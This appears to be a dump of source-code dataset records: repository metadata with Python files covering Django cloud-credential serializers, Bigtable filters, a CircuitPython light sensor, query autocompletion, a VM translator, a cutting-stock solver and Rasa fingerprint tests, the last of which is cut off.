= AWSCredsSerializer(write_only=True, required=False) openstack_creds = OpenstackCredsSerializer(write_only=True, required=False) azure_creds = AzureCredsSerializer(write_only=True, required=False) gcp_creds = GCPCredsSerializer(write_only=True, required=False) result = serializers.CharField(read_only=True) details = serializers.CharField(read_only=True) def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) try: provider.authenticate() return {'result': 'SUCCESS'} except Exception as e: return {'result': 'FAILURE', 'details': str(e)} class UserSerializer(UserDetailsSerializer): credentials = CustomHyperlinkedIdentityField( view_name='djcloudbridge:credentialsroute-list', lookup_field=None) aws_creds = serializers.SerializerMethodField() openstack_creds = serializers.SerializerMethodField() azure_creds = serializers.SerializerMethodField() gcp_creds = serializers.SerializerMethodField() def get_aws_creds(self, obj): """ Include a URL for listing this bucket's contents """ try: creds = obj.userprofile.credentials.filter( awscredentials__isnull=False).select_subclasses() return AWSCredsSerializer(instance=creds, many=True, context=self.context).data except models.UserProfile.DoesNotExist: return "" def get_openstack_creds(self, obj): """ Include a URL for listing this bucket's contents """ try: creds = obj.userprofile.credentials.filter( openstackcredentials__isnull=False).select_subclasses() return OpenstackCredsSerializer(instance=creds, many=True, context=self.context).data except models.UserProfile.DoesNotExist: return "" def get_azure_creds(self, obj): """ Include a URL for listing this bucket's contents """ try: creds = obj.userprofile.credentials.filter( azurecredentials__isnull=False).select_subclasses() return AzureCredsSerializer(instance=creds, many=True, context=self.context).data except models.UserProfile.DoesNotExist: return "" def get_gcp_creds(self, obj): """ Include a URL for listing this bucket's contents """ try: creds = obj.userprofile.credentials.filter( gcpcredentials__isnull=False).select_subclasses() return GCPCredsSerializer(instance=creds, many=True, context=self.context).data except models.UserProfile.DoesNotExist: return "" class Meta(UserDetailsSerializer.Meta): fields = UserDetailsSerializer.Meta.fields + \ ('aws_creds', 'openstack_creds', 'azure_creds', 'gcp_creds', 'credentials')
38.6
79
0.65666
32,229
0.982292
0
0
0
0
0
0
5,286
0.161109
d52fc94190a48ed5868310e2aad92eeeb9feb60b
866
py
Python
what_apps/mooncalendar/admin.py
SlashRoot/WHAT
69e78d01065142446234e77ea7c8c31e3482af29
[ "MIT" ]
null
null
null
what_apps/mooncalendar/admin.py
SlashRoot/WHAT
69e78d01065142446234e77ea7c8c31e3482af29
[ "MIT" ]
null
null
null
what_apps/mooncalendar/admin.py
SlashRoot/WHAT
69e78d01065142446234e77ea7c8c31e3482af29
[ "MIT" ]
null
null
null
from what_apps.mooncalendar.models import Event from what_apps.mooncalendar.models import Moon from django.contrib import admin class EventAdmin(admin.ModelAdmin): list_display = 'name', fieldsets = [ (None, {'fields': ['name']}), ('description', {'fields':['description']}), ('Date information', {'fields':['event_date']}), ] class MoonAdmin(admin.ModelAdmin): list_display = ('name', 'new', 'full', 'length_as_string' ) def length_as_string(self, obj): return str(obj.length()) fieldsets = [ ('name', {'fields':['name']}), ('new', {'fields':['new']}), ('waxing', {'fields':['waxing']}), ('full', {'fields':['full']}), ('waning', {'fields':['waning']}), ] admin.site.register(Event, EventAdmin) admin.site.register(Moon, MoonAdmin)
30.928571
63
0.575058
646
0.745958
0
0
0
0
0
0
233
0.269053
d53250d431f3b7786477248a4bd086c3905e3d46
4,019
py
Python
kvdbclient/bigtable/utils.py
seung-lab/KVDbClient
4b82ded0c19b89cc9887ed60998583989a086506
[ "MIT" ]
null
null
null
kvdbclient/bigtable/utils.py
seung-lab/KVDbClient
4b82ded0c19b89cc9887ed60998583989a086506
[ "MIT" ]
null
null
null
kvdbclient/bigtable/utils.py
seung-lab/KVDbClient
4b82ded0c19b89cc9887ed60998583989a086506
[ "MIT" ]
null
null
null
from typing import Dict from typing import Union from typing import Iterable from typing import Optional from datetime import datetime from datetime import timedelta import numpy as np from google.cloud.bigtable.row_data import PartialRowData from google.cloud.bigtable.row_filters import RowFilter from . import attributes def _from_key(family_id: str, key: bytes): try: return attributes.Attribute._attributes[(family_id, key)] except KeyError: # FIXME: Look if the key matches a columnarray pattern and # remove loop initialization in _AttributeArray.__init__() raise KeyError(f"Unknown key {family_id}:{key.decode()}") def partial_row_data_to_column_dict( partial_row_data: PartialRowData, ) -> Dict[attributes.Attribute, PartialRowData]: new_column_dict = {} for family_id, column_dict in partial_row_data._cells.items(): for column_key, column_values in column_dict.items(): try: column = _from_key(family_id, column_key) except KeyError: continue new_column_dict[column] = column_values return new_column_dict def _get_google_compatible_time_stamp( time_stamp: datetime, round_up: bool = False ) -> datetime: """ Makes a datetime time stamp compatible with googles' services. Google restricts the accuracy of time stamps to milliseconds. Hence, the microseconds are cut of. By default, time stamps are rounded to the lower number. """ micro_s_gap = timedelta(microseconds=time_stamp.microsecond % 1000) if micro_s_gap == 0: return time_stamp if round_up: time_stamp += timedelta(microseconds=1000) - micro_s_gap else: time_stamp -= micro_s_gap return time_stamp def _get_column_filter( columns: Union[Iterable[attributes.Attribute], attributes.Attribute] = None ) -> RowFilter: """Generates a RowFilter that accepts the specified columns.""" from google.cloud.bigtable.row_filters import RowFilterUnion from google.cloud.bigtable.row_filters import ColumnRangeFilter if isinstance(columns, attributes.Attribute): return ColumnRangeFilter( columns.family_id, start_column=columns.key, end_column=columns.key ) elif len(columns) == 1: return ColumnRangeFilter( columns[0].family_id, start_column=columns[0].key, end_column=columns[0].key ) return RowFilterUnion( [ ColumnRangeFilter(col.family_id, start_column=col.key, end_column=col.key) for col in columns ] ) def _get_time_range_filter( start_time: Optional[datetime] = None, end_time: Optional[datetime] = None, end_inclusive: bool = True, ) -> RowFilter: """Generates a TimeStampRangeFilter which is inclusive for start and (optionally) end.""" from google.cloud.bigtable.row_filters import TimestampRange from google.cloud.bigtable.row_filters import TimestampRangeFilter # Comply to resolution of BigTables TimeRange if start_time is not None: start_time = _get_google_compatible_time_stamp(start_time, round_up=False) if end_time is not None: end_time = _get_google_compatible_time_stamp(end_time, round_up=end_inclusive) return TimestampRangeFilter(TimestampRange(start=start_time, end=end_time)) def get_time_range_and_column_filter( columns: Optional[ Union[Iterable[attributes.Attribute], attributes.Attribute] ] = None, start_time: Optional[datetime] = None, end_time: Optional[datetime] = None, end_inclusive: bool = False, ) -> RowFilter: from google.cloud.bigtable.row_filters import RowFilterChain time_filter = _get_time_range_filter( start_time=start_time, end_time=end_time, end_inclusive=end_inclusive ) if columns is not None: column_filter = _get_column_filter(columns) return RowFilterChain([column_filter, time_filter]) else: return time_filter
34.646552
93
0.718089
0
0
0
0
0
0
0
0
606
0.150784
d5341906de628d8bd34733d0c157d31c4b909dfe
551
py
Python
Introducing_CircuitPlaygroundExpress/CircuitPlaygroundExpress_LightSensor_cpx.py
joewalk102/Adafruit_Learning_System_Guides
2bda607f8c433c661a2d9d40b4db4fd132334c9a
[ "MIT" ]
665
2017-09-27T21:20:14.000Z
2022-03-31T09:09:25.000Z
Introducing_CircuitPlaygroundExpress/CircuitPlaygroundExpress_LightSensor_cpx.py
joewalk102/Adafruit_Learning_System_Guides
2bda607f8c433c661a2d9d40b4db4fd132334c9a
[ "MIT" ]
641
2017-10-03T19:46:37.000Z
2022-03-30T18:28:46.000Z
Introducing_CircuitPlaygroundExpress/CircuitPlaygroundExpress_LightSensor_cpx.py
joewalk102/Adafruit_Learning_System_Guides
2bda607f8c433c661a2d9d40b4db4fd132334c9a
[ "MIT" ]
734
2017-10-02T22:47:38.000Z
2022-03-30T14:03:51.000Z
# CircuitPlaygroundExpress_LightSensor # reads the on-board light sensor and graphs the brighness with NeoPixels import time from adafruit_circuitplayground.express import cpx from simpleio import map_range cpx.pixels.brightness = 0.05 while True: # light value remaped to pixel position peak = map_range(cpx.light, 10, 325, 0, 9) print(cpx.light) print(int(peak)) for i in range(0, 9, 1): if i <= peak: cpx.pixels[i] = (0, 255, 0) else: cpx.pixels[i] = (0, 0, 0) time.sleep(0.01)
22.958333
73
0.653358
0
0
0
0
0
0
0
0
150
0.272232
d534b5964680d262bdbcff4ab014dca342de302c
3,258
py
Python
mpc.py
clovaai/subword-qac
df7a9a557a594712f757adccf86fdaf365bff601
[ "MIT" ]
65
2019-09-04T01:53:31.000Z
2022-03-13T09:39:47.000Z
mpc.py
naver-ai/subword-qac
df7a9a557a594712f757adccf86fdaf365bff601
[ "MIT" ]
3
2020-10-09T14:24:54.000Z
2021-08-24T06:23:09.000Z
mpc.py
naver-ai/subword-qac
df7a9a557a594712f757adccf86fdaf365bff601
[ "MIT" ]
13
2019-09-09T11:19:43.000Z
2021-08-30T23:10:06.000Z
""" Copyright (c) 2019-present NAVER Corp. MIT License """ import os import sys import json import logging import argparse import pickle from tqdm import tqdm from dataset import read_data, PrefixDataset from trie import Trie from metric import calc_rank, calc_partial_rank, mrr_summary, mrl_summary logging.basicConfig(format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %H:%M:%S', level=logging.INFO) logger = logging.getLogger(__name__) def get_args(): parser = argparse.ArgumentParser(description="Most Popular Completion") parser.add_argument('--data_dir', default="data/aol/full") parser.add_argument('--min_len', type=int, default=3) parser.add_argument('--min_prefix_len', type=int, default=2) parser.add_argument('--min_suffix_len', type=int, default=1) parser.add_argument('--n_candidates', type=int, default=10) parser.add_argument('--min_freq', type=int, default=1) parser.add_argument('--train', action='store_true') parser.add_argument('--model_path', default="models/mpc/trie.pkl") args = parser.parse_args() return args def main(args): logger.info(f"Args: {json.dumps(args.__dict__, indent=2, sort_keys=True)}") logger.info("Reading train dataset") train_data = read_data(os.path.join(args.data_dir, f"train.query.txt"), min_len=args.min_len) logger.info(f" Number of train data: {len(train_data):8d}") seen_set = set(train_data) if not args.train and os.path.isfile(args.model_path): logger.info(f"Loading trie at {args.model_path}") trie = pickle.load(open(args.model_path, 'rb')) else: logger.info("Making trie") trie = Trie(train_data) os.makedirs(os.path.dirname(args.model_path), exist_ok=True) logger.info(f"Saving trie at {args.model_path}") sys.setrecursionlimit(100000) pickle.dump(trie, open(args.model_path, 'wb')) logger.info("Reading test dataset") test_data = read_data(os.path.join(args.data_dir, f"test.query.txt"), min_len=args.min_len) logger.info(f" Number of test data: {len(test_data):8d}") logger.info("Evaluating MPC") test_dataset = PrefixDataset(test_data, args.min_prefix_len, args.min_suffix_len) seens = [] ranks = [] pranks = [] rls = [] for query, prefix in tqdm(test_dataset): seen = int(query in seen_set) completions = trie.get_mpc(prefix, n_candidates=args.n_candidates, min_freq=args.min_freq) rank = calc_rank(query, completions) prank = calc_partial_rank(query, completions) rl = [0 for _ in range(args.n_candidates + 1)] if seen: for i in range(1, len(query) + 1): r = calc_rank(query, trie.get_mpc(query[:-i])) if r == 0: break else: for j in range(r, args.n_candidates + 1): rl[j] += 1 seens.append(seen) ranks.append(rank) pranks.append(prank) rls.append(rl) mrr_logs = mrr_summary(ranks, pranks, seens, args.n_candidates) mrl_logs = mrl_summary(rls, seens, args.n_candidates) for log in mrr_logs + mrl_logs: logger.info(log) if __name__ == "__main__": main(get_args())
33.244898
105
0.656845
0
0
0
0
0
0
0
0
641
0.196746
d534d824de326bc7eb62d09547d2ef9f6480689c
813
py
Python
old_source_code/Experiment 4 Extended Game Convergency/plotHistory.py
prasoonpatidar/multiagentRL-resource-sharing
e63ba7fc3c7ab019e9fd109cd45b739e3322152f
[ "MIT" ]
null
null
null
old_source_code/Experiment 4 Extended Game Convergency/plotHistory.py
prasoonpatidar/multiagentRL-resource-sharing
e63ba7fc3c7ab019e9fd109cd45b739e3322152f
[ "MIT" ]
null
null
null
old_source_code/Experiment 4 Extended Game Convergency/plotHistory.py
prasoonpatidar/multiagentRL-resource-sharing
e63ba7fc3c7ab019e9fd109cd45b739e3322152f
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Apr 16 18:18:29 2020 @author: xuhuiying """ import numpy as np import matplotlib.pyplot as plt def plotHistory(history,times,xLabelText,yLabelText,legendText):#画出每个history plot each history history = np.array(history) #history是二维数组 history is a 2D array history = history.T iteration = range(0,times) # plt.figure() for j in range(0,history.shape[0]): plt.plot(iteration,history[j],label = "%s %d"%(legendText,j + 1)) # plt.legend(loc='upper left',prop = {'size': 10},handlelength = 1) plt.xlabel(xLabelText,fontsize = 8) plt.ylabel(yLabelText,fontsize = 8) plt.tick_params(labelsize=8) # plt.savefig('%sWith%dSellersAnd%dBuyer.jpg'%(fileNamePre,N,M), dpi=300,bbox_inches = 'tight') # plt.show()
32.52
98
0.682657
0
0
0
0
0
0
0
0
398
0.478941
d535465b4cadf1f4ee90d4f52f137ea35dc5bc11
56
py
Python
dominion/cards/__init__.py
billletson/dominion
ad430e20aa1615758091df1ca39a5fc7313e921e
[ "MIT" ]
null
null
null
dominion/cards/__init__.py
billletson/dominion
ad430e20aa1615758091df1ca39a5fc7313e921e
[ "MIT" ]
null
null
null
dominion/cards/__init__.py
billletson/dominion
ad430e20aa1615758091df1ca39a5fc7313e921e
[ "MIT" ]
null
null
null
from .constants import * from .actions import ACTIONS
18.666667
29
0.767857
0
0
0
0
0
0
0
0
0
0
d535a3e83f35b85829a2417b8b9cf8c664d410a0
1,497
py
Python
VMTranslator.py
Nismirno/n2tVMTranslator
0274f5a51a5e3209e3536c1de5b4ff8b3824a116
[ "MIT" ]
null
null
null
VMTranslator.py
Nismirno/n2tVMTranslator
0274f5a51a5e3209e3536c1de5b4ff8b3824a116
[ "MIT" ]
null
null
null
VMTranslator.py
Nismirno/n2tVMTranslator
0274f5a51a5e3209e3536c1de5b4ff8b3824a116
[ "MIT" ]
null
null
null
#!/usr/bin/env python from VMParser import Parser from VMCodewriter import CodeWriter from pathlib import Path import sys def processDirectory(inputPath): fileName = str(inputPath.stem) myWriter = CodeWriter(fileName) lines = myWriter.initHeader() for f in inputPath.glob("*.vm"): lines += processFile(f) return lines def processFile(inputPath): myParser = Parser(inputPath) fileName = str(inputPath.stem) parsedProg = [line for line in myParser.parse()] myWriter = CodeWriter(fileName) return myWriter.writeCode(parsedProg) def main(): if (len(sys.argv) < 2): print("Enter VM file name or directory") print("Example:") print("{0} path_to_file.vm".format(sys.argv[0])) print("{0} path_to_dir".format(sys.argv[0])) input("Press Enter to exit...") inputPath = Path(sys.argv[1]) realPath = Path.resolve(inputPath) isDir = realPath.is_dir() if (isDir): outName = str(realPath / realPath.name) outFile = open("{0}.asm".format(outName), 'w') output = processDirectory(realPath) outFile.write('\n'.join(output)) elif (realPath.suffix == ".vm"): outName = str(realPath.parent / realPath.stem) outFile = open("{0}.asm".format(outName), 'w') output = processFile(realPath) outFile.write('\n'.join(output)) else: print("Input file must be of .vm extension") return None if __name__ == "__main__": main()
28.788462
56
0.637275
0
0
0
0
0
0
0
0
216
0.144289
d535db0b037e93b7fd2d6697df93c4c6ea03dea8
19,343
py
Python
python/package/solution.py
pchtsp/ROADEF2018
442dfe919a41fa993155226b601625917e632577
[ "MIT" ]
null
null
null
python/package/solution.py
pchtsp/ROADEF2018
442dfe919a41fa993155226b601625917e632577
[ "MIT" ]
null
null
null
python/package/solution.py
pchtsp/ROADEF2018
442dfe919a41fa993155226b601625917e632577
[ "MIT" ]
null
null
null
import package.data_input as di import ete3 import math import package.instance as inst import package.params as pm import numpy as np import matplotlib try: import tkinter except: matplotlib.use('Qt5Agg', warn=False, force=True) import matplotlib.pyplot as plt import palettable as pal import pprint as pp import pandas as pd import package.auxiliar as aux import os import package.superdict as sd import package.tuplist as tl import package.nodes as nd import package.nodes_checks as nc import package.geometry as geom class Solution(inst.Instance): def __init__(self, input_data, solution_data): super().__init__(input_data) # self.sol_data = solution_data if len(solution_data) == 0: self.trees = [] return self.trees = [] defects = input_data['defects'] data_byPlate = solution_data.index_by_property('PLATE_ID', get_list=True) for pos, plate in enumerate(data_byPlate): tree = self.get_tree_from_solution_data(plate) tree.add_feature('DEFECTS', defects.get(pos, [])) self.trees.append(tree) self.order_all_children() @staticmethod def get_tree_from_solution_data(solution_data): parent_child = [(int(v['PARENT']), int(k), 1) for k, v in solution_data.items() if not math.isnan(v['PARENT'])] for p, c, d in parent_child: if p == c: raise ValueError('parent cannot be the same node!') if len(parent_child) == 0: # this means we have a one-node tree: name = [*solution_data.keys()][0] tree = ete3.Tree(name=name) else: tree = ete3.Tree.from_parent_child_table(parent_child) # add info about each node for node in tree.traverse(): for k, v in solution_data[node.name].items(): if math.isnan(v): node.add_feature(k, v) else: node.add_feature(k, int(v)) return tree def draw(self, pos=0, *attributes): node = self.trees[pos] nd.draw(node, *attributes) return def draw_interactive(self, pos=0): return self.trees[pos].show() @staticmethod def search_case_in_options(path): try: options = di.load_data(path + 'options.json') except FileNotFoundError: return None else: return options.get('case_name', None) @classmethod def from_io_files(cls, case_name=None, path=pm.PATHS['checker_data'], solutionfile="solution"): if case_name is None: case_name = cls.search_case_in_options(path) if case_name is None: raise ImportError('case_name is None and options.json is not available') input_data = di.get_model_data(case_name, path) solution = di.get_model_solution(case_name, path, filename=solutionfile) return cls(input_data, solution) @classmethod def from_input_files(cls, case_name=None, path=pm.PATHS['data'], **kwargs): if case_name is None: case_name = cls.search_case_in_options(path) if case_name is None: raise ImportError('case_name is None and options.json is not available') return cls(di.get_model_data(case_name, path), **kwargs) def get_cuts(self): # for each node, we get the cut that made it. # there's always one of the children that has no cut # each cut wll have as property the first and second piece pass def order_all_children(self): for tree in self.trees: nd.order_children(tree) def get_pieces_by_type(self, solution, by_plate=False, pos=None, min_type=0): """ Gets the solution pieces indexed by the TYPE. :param by_plate: when active it returns a dictionary indexed by the plates. So it's {PLATE_0: {0: leaf0, 1: leaf1}, PLATE_1: {}} :param pos: get an individual plate marked by pos :param filter_type: if True: gets only demanded items. If not: returns all plates :param solution: if given it's evaluated instead of self.trees :return: {0: leaf0, 1: leaf1} """ if pos is None: leaves = [leaf for tree in solution for leaf in nd.get_node_leaves(tree, min_type)] else: leaves = [leaf for leaf in nd.get_node_leaves(solution[pos], min_type)] if not by_plate: return {int(leaf.TYPE): leaf for leaf in leaves} leaves_by_plate = sd.SuperDict({tree.PLATE_ID: {} for tree in solution}) for leaf in leaves: leaves_by_plate[leaf.PLATE_ID][int(leaf.TYPE)] = leaf if pos is None: return leaves_by_plate return leaves_by_plate[pos] def get_plate_production(self): return [(leaf.WIDTH, leaf.HEIGHT) for tree in self.trees for leaf in tree.get_leaves()] def count_errors(self): checks = self.check_all() return len([i for k, v in checks.items() for i in v]) def check_all(self): func_list = { 'overlapping': self.check_overlapping , 'sequence': self.check_sequence , 'defects': self.check_defects , 'demand': self.check_demand_satisfied , 'ch_size': self.check_nodes_fit , 'inside': self.check_parent_of_children , 'cuts': self.check_cuts_number , 'max_cut': self.check_max_cut , 'position': self.check_nodes_inside_jumbo , 'types': self.check_wrong_type , 'ch_order': self.check_children_order , 'node_size': self.check_sizes , 'waste_size': self.check_waste_size } result = {k: v() for k, v in func_list.items()} return {k: v for k, v in result.items() if len(v) > 0} def check_consistency(self): func_list = { 'ch_size': self.check_nodes_fit , 'inside': self.check_parent_of_children , 'cuts': self.check_cuts_number , 'types': self.check_wrong_type , 'ch_order': self.check_children_order , 'node_size': self.check_sizes , 'only_child': self.check_only_child } result = {k: v() for k, v in func_list.items()} return {k: v for k, v in result.items() if len(v) > 0} def check_only_child(self): return [a for t in self.trees for a in nc.check_only_child(t)] def check_overlapping(self): solution = self.trees plate_leaves = self.get_pieces_by_type(by_plate=True, solution=solution) overlapped = [] for plate, leaves in plate_leaves.items(): for k1, leaf1 in leaves.items(): point1 = {'X': leaf1.X, 'Y': leaf1.Y} point2 = {'X': leaf1.X + leaf1.WIDTH, 'Y': leaf1.Y + leaf1.HEIGHT} for k2, leaf2 in leaves.items(): square = nd.node_to_square(leaf2) if geom.point_in_square(point1, square) or \ geom.point_in_square(point2, square): overlapped.append((leaf1, leaf2)) return overlapped def get_previous_nodes(self, solution=None, type_node_dict=None): """ :param solution: forest: a list of trees. :return: """ if type_node_dict is None or solution is not None: if solution is None: solution = self.trees type_node_dict = self.get_pieces_by_type(solution=solution) prev_items = self.get_previous_items() prev_nodes = {} for k, v in prev_items.items(): prev_nodes[type_node_dict[k]] = [] for i in v: prev_nodes[type_node_dict[k]].append(type_node_dict[i]) return sd.SuperDict(prev_nodes) def check_sequence(self, solution=None, type_node_dict=None): wrong_order = [] n_prec = self.get_previous_nodes(solution=solution, type_node_dict=type_node_dict) for node, prec_nodes in n_prec.items(): for prec_node in prec_nodes: # prec is in a previous plate: correct if node.PLATE_ID > prec_node.PLATE_ID: continue # if prec is in the next plate: very incorrect if node.PLATE_ID < prec_node.PLATE_ID: wrong_order.append((node, prec_node)) continue # if we're here, they are in the same plate/ tree. # we find the common ancestor and check which node's # ancestors appear first if nd.check_node_order(node, prec_node): wrong_order.append((node, prec_node)) return tl.TupList(wrong_order) def check_defects(self, solution=None): """ :return: [(node, defect), ()] """ node_defect = self.get_nodes_defects(solution) return [(node, defect) for node, defect in node_defect if node.TYPE >= 0] def get_nodes_defects(self, solution=None): # A defect can be in more than one node/ if solution is None: solution = self.trees defect_node = [] defects_by_plate = self.get_defects_per_plate() # if solution is None: # a = 1 # pass for tree in solution: if tree.PLATE_ID not in defects_by_plate: continue for defect in defects_by_plate[tree.PLATE_ID]: nodes = nd.search_nodes_of_defect(tree, defect) assert nodes is not None, 'defect {} doesnt have node'.format(defect) defect_node.extend((node, defect) for node in nodes) return defect_node def check_waste_size(self, solution=None): min_waste = self.get_param('minWaste') if solution is None: solution = self.trees bad_wastes = [] for tree in solution: wastes = nd.get_node_leaves(tree, type_options=[-1, -3]) bad_wastes.extend([w for w in wastes if 0 < w.WIDTH < min_waste or 0 < w.HEIGHT < min_waste]) return bad_wastes def check_space_usage(self, solution=None): # if solution is None: # solution = self.trees return self.calculate_objective(solution, discard_empty_trees=True) # return sum(self.calculate_residual_plate(tree)*(pos+1)**4 for pos, tree in enumerate(solution)) / \ # (self.get_param('widthPlates') * len(solution)**4) # sum(nd.get_node_position_cost(n, self.get_param('widthPlates')) for tree in solution # for n in nd.get_node_leaves(tree, type_options=[-1, -3])) / \ # ((self.get_param('widthPlates') * len(solution))**2 *self.get_param('widthPlates')*self.get_param('heightPlates')) def calculate_residual_plate(self, node): waste = nd.find_waste(node, child=True) if waste is None: return 0 return waste.WIDTH def check_nodes_inside_jumbo(self): w, h = self.get_param('widthPlates'), self.get_param('heightPlates') plate_square = {'DL': {'X': 0, 'Y': 0}, 'UR': {'X': w, 'Y': h}} bad_position = [] for tree in self.trees: for node in tree.iter_leaves(): square = nd.node_to_square(node) if geom.square_inside_square(square, plate_square, both_sides=False): continue bad_position.append(node) return bad_position def check_cuts_number(self): """ This checks if the CUT property of each node really corresponds with the node's level. :return: """ return [a for t in self.trees for a in nc.check_cuts_number(t)] def check_max_cut(self): """ check that the maximum achieved level is 4 :return: """ levels = {} for tree in self.trees: levels.update(nd.assign_cut_numbers(tree, update=False)) return [(node, level) for node, level in levels.items() if level > 4 or\ (level == 4 and len(node.get_sisters()) > 1)] def check_wrong_type(self): return [a for t in self.trees for a in nc.check_wrong_type(t)] def check_nodes_fit(self): return [a for t in self.trees for a in nc.check_nodes_fit(t)] def check_children_order(self): # This checks that the order of the children # follows the positions. # meaining: if children A is before B # it is lower or more to the left return [a for t in self.trees for a in nc.check_children_order(t)] def check_sizes(self): return [a for t in self.trees for a in nc.check_sizes(t)] def check_parent_of_children(self): """ We want to check if each node is inside its parent. :return: """ return [a for t in self.trees for a in nc.check_parent_of_children(t)] def check_demand_satisfied(self): demand = self.get_batch() produced = [] pieces = self.get_pieces_by_type(solution=self.trees) for k, leaf in pieces.items(): item = demand.get(k, None) # there's no demand for this item code if item is None: continue plate1 = item['WIDTH_ITEM'], item['LENGTH_ITEM'] plate2 = leaf.WIDTH, leaf.HEIGHT if geom.plate_inside_plate(plate1, plate2): produced.append(k) return np.setdiff1d([*demand], produced) def calculate_objective(self, solution=None, discard_empty_trees=False): if solution is None: solution = self.trees if not solution: return None height, width = self.get_param('heightPlates'), self.get_param('widthPlates') items_area = self.get_items_area() last_tree = len(solution) - 1 if discard_empty_trees: while last_tree >= 0 and not len(nd.get_node_leaves(solution[last_tree])): last_tree -= 1 last_tree_children = solution[last_tree].get_children() last_waste_width = 0 if last_tree_children and nd.is_waste(last_tree_children[-1]): last_waste_width = last_tree_children[-1].WIDTH return (last_tree+1) * height * width - last_waste_width * height - items_area def graph_solution(self, path="", name="rect", show=False, pos=None, dpi=50, fontsize=30, solution=None): if solution is None: solution = self.trees batch_data = self.get_batch() stack = batch_data.get_property('STACK') sequence = batch_data.get_property('SEQUENCE') colors = pal.colorbrewer.qualitative.Set3_5.hex_colors width, height = self.get_param('widthPlates'), self.get_param('heightPlates') pieces_by_type = self.get_pieces_by_type(by_plate=True, solution=solution) if pos is not None: pieces_by_type = pieces_by_type.filter([pos]) for plate, leafs in pieces_by_type.items(): fig1 = plt.figure(figsize=(width/100, height/100)) ax1 = fig1.add_subplot(111, aspect='equal') ax1.set_xlim([0, width]) ax1.set_ylim([0, height]) ax1.tick_params(axis='both', which='major', labelsize=50) # graph items for pos, leaf in enumerate(leafs.values()): nc.draw_leaf(ax1, leaf, stack, sequence, colors, fontsize) # graph wastes: wastes = nd.get_node_leaves(solution[plate], type_options=[-1, -3]) for waste in wastes: nc.draw_leaf(ax1, waste, stack, sequence, colors, fontsize) # graph defects for defect in self.get_defects_plate(plate): nc.draw_defect(ax1, defect) fig_path = os.path.join(path, '{}_{}.png'.format(name, plate)) fig1.savefig(fig_path, dpi=dpi, bbox_inches='tight') if not show: plt.close(fig1) def correct_plate_node_ids(self, solution=None, features=None, edit_features=True): if features is None: features = nd.default_features() if solution is None: solution = self.trees result = {} order = 0 for pos, tree in enumerate(solution): for v in tree.traverse("preorder"): # rename the NODE_IDs and PLATE_ID if edit_features: v.add_features(PLATE_ID=pos, NODE_ID=order) v.name = v.NODE_ID # correct all wastes to -1 by default if 'TYPE' in features: if v.TYPE == -3: v.TYPE = -1 d = nd.get_features(v, features) v.add_features(PARENT=d['PARENT']) result[int(v.NODE_ID)] = d order += 1 if 'TYPE' in features and edit_features: if result[order-1]['TYPE'] == -1 and result[order-1]['CUT'] == 1: result[order - 1]['TYPE'] = -3 return result def export_solution(self, path=pm.PATHS['results'] + aux.get_timestamp(), prefix='', name='solution.csv', solution=None, correct_naming=True): """ When creating the output forest: – The trees must be given in the correct sequence of plates, i.e. first the nodes of plate 0, then nodes of plate 1.... – For each plate, the root (node with CUT=0) should be given first. – The children of a node should be given from left to right (as repre- sented on the cutting pattern). – The nodes of trees should be given in depth first search. – If the last 1-cut of the forest in the last cutting pattern is a waste, it must be declared as a residual. :param path: :param prefix: usually the case. :param name: name after prefix. Without extension. :return: """ if solution is None: solution = self.trees if not os.path.exists(path): os.mkdir(path) result = self.correct_plate_node_ids(solution, edit_features=correct_naming) table = pd.DataFrame.from_dict(result, orient='index') col_order = ['PLATE_ID', 'NODE_ID', 'X', 'Y', 'WIDTH', 'HEIGHT', 'TYPE', 'CUT', 'PARENT'] table = table[col_order] table.to_csv(path + '{}{}'.format(prefix, name), index=False, sep=';') return True def clean_last_trees(self, solution): sol = solution[:] while True: if not nd.get_node_leaves(sol[-1]): sol.pop() else: break return sol if __name__ == "__main__": input_data = di.get_model_data('A0', path=pm.PATHS['checker_data']) solution_data = di.get_model_solution('A0') solution_data_byPlate = solution_data.index_by_property('PLATE_ID', get_list=True) self = Solution(input_data, solution_data) self.graph_solution() self.draw() # pp.pprint(self.sol_data) # self.trees = [] # Useful functions: # tree.search_nodes(name=0)[0] # tree & 0 # help(tree) # print(tree) # tree.show()
39.964876
132
0.596133
18,313
0.946262
0
0
1,981
0.102361
0
0
3,955
0.204361
d535e635e6b66ba70c20fb56aebb09ef9c95a99d
2,435
py
Python
tests/engine/training/test_fingerprinting.py
fintzd/rasa
6359be5509c7d87cd29c2ab5149bc45e843fea85
[ "Apache-2.0" ]
9,701
2019-04-16T15:46:27.000Z
2022-03-31T11:52:18.000Z
tests/engine/training/test_fingerprinting.py
fintzd/rasa
6359be5509c7d87cd29c2ab5149bc45e843fea85
[ "Apache-2.0" ]
6,420
2019-04-16T15:58:22.000Z
2022-03-31T17:54:35.000Z
tests/engine/training/test_fingerprinting.py
fintzd/rasa
6359be5509c7d87cd29c2ab5149bc45e843fea85
[ "Apache-2.0" ]
3,063
2019-04-16T15:23:52.000Z
2022-03-31T00:01:12.000Z
import inspect from unittest.mock import Mock from _pytest.monkeypatch import MonkeyPatch from rasa.core.policies.ted_policy import TEDPolicy from rasa.engine.training import fingerprinting from rasa.nlu.classifiers.diet_classifier import DIETClassifier from rasa.nlu.selectors.response_selector import ResponseSelector from tests.engine.training.test_components import FingerprintableText def test_fingerprint_stays_same(): key1 = fingerprinting.calculate_fingerprint_key( TEDPolicy, TEDPolicy.get_default_config(), {"input": FingerprintableText("Hi")}, ) key2 = fingerprinting.calculate_fingerprint_key( TEDPolicy, TEDPolicy.get_default_config(), {"input": FingerprintableText("Hi")}, ) assert key1 == key2 def test_fingerprint_changes_due_to_class(): key1 = fingerprinting.calculate_fingerprint_key( DIETClassifier, TEDPolicy.get_default_config(), {"input": FingerprintableText("Hi")}, ) key2 = fingerprinting.calculate_fingerprint_key( ResponseSelector, TEDPolicy.get_default_config(), {"input": FingerprintableText("Hi")}, ) assert key1 != key2 def test_fingerprint_changes_due_to_config(): key1 = fingerprinting.calculate_fingerprint_key( TEDPolicy, {}, {"input": FingerprintableText("Hi")}, ) key2 = fingerprinting.calculate_fingerprint_key( ResponseSelector, TEDPolicy.get_default_config(), {"input": FingerprintableText("Hi")}, ) assert key1 != key2 def test_fingerprint_changes_due_to_inputs(): key1 = fingerprinting.calculate_fingerprint_key( TEDPolicy, {}, {"input": FingerprintableText("Hi")}, ) key2 = fingerprinting.calculate_fingerprint_key( ResponseSelector, TEDPolicy.get_default_config(), {"input": 